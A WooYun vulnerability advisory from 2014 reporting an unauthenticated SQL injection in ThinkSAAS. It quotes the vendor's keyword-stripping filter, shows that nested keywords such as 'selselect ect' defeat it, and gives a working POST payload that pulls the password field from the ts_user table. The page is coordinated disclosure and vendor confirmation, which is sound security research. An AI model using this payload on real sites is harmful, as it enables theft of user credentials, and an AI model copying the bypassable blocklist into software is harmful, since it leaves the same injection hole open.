当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-53361

漏洞标题: ThinkSAAS最新版绕过过滤继续注入

相关厂商: thinksaas.cn

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-03-11 13:34

公开时间: 2014-06-09 13:35

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-11: 细节已通知厂商并且等待厂商处理中
2014-03-11: 厂商已经确认,细节仅向厂商公开
2014-03-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

ThinkSAAS最新版绕过过滤继续注入。
无gpc限制,无需登录认证。

详细说明:

旧版本分析如下:http://**.**.**.**/bugs/wooyun-2013-046826

在新版本里进行了两处修复:

第一处修复,文件\app\tag\action\add.php:

code 区域
case "do":

$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);

$new['tag']->addTag($objname,$idname,$objid,$tags);

tsNotice('标签添加成功!');

break;



把之前的t函数换成了tsFilter函数。

第二处修复,文件\thinksaas\tsApp.php:

code 区域
foreach ( $row as $key => $value ) {
$value = $this->escape ( $value );
//$vals [] = "`$key` = $value";
$vals [] = "{$key} = {$value}";



对$value变量进行了escape过滤

添加了新的构造sql语句的赋值语句

但是这种修补我们依然可以进行注入。

来看看tsFilter函数:

code 区域
function tsFilter($value){
$value = trim($value);
//定义不允许提交的SQl命令和关键字
$words = array();
$words[] = "add ";
$words[] = "and ";
$words[] = "count ";
$words[] = "order ";
$words[] = "table ";
$words[] = "by ";
$words[] = "create ";
$words[] = "delete ";
$words[] = "drop ";
$words[] = "from ";
$words[] = "grant ";
$words[] = "insert ";
$words[] = "select ";
$words[] = "truncate ";
$words[] = "update ";
$words[] = "use ";
$words[] = "--";
$words[] = "#";
$words[] = "group_concat";
$words[] = "column_name";
$words[] = "information_schema.columns";
$words[] = "table_schema";
$words[] = "union ";
$words[] = "where ";
$words[] = "alert";
$value = strtolower($value);//转换为小写
foreach($words as $word){
if(strstr($value,$word)){
$value = str_replace($word,'',$value);
}
}

return $value;
}



这个很容易的就可以看出,诸如将“select”改为“selselect ect”,就可以绕过过滤。

所以最终可以注入出数据的exp为:

EXP:

code 区域
链接:http://localhost/thinksaas/index.php?app=tag&ac=add&ts=do

post:objname=article=1, tagname=(selselect ect pwd frofrom m ts_user limit 0,1), count_group&idname=1&objid=1&tags=111111



1.png



2.png

漏洞证明:

见详细说明

修复方案:

严格过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-11 13:51

厂商回复:

感谢提交,正在修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-03-11 13:51 | ThinkSAAS(乌云厂商)
    1

    好吧,又要加班了,还是白帽子厉害。。。

登录后才能发表评论,请先 登录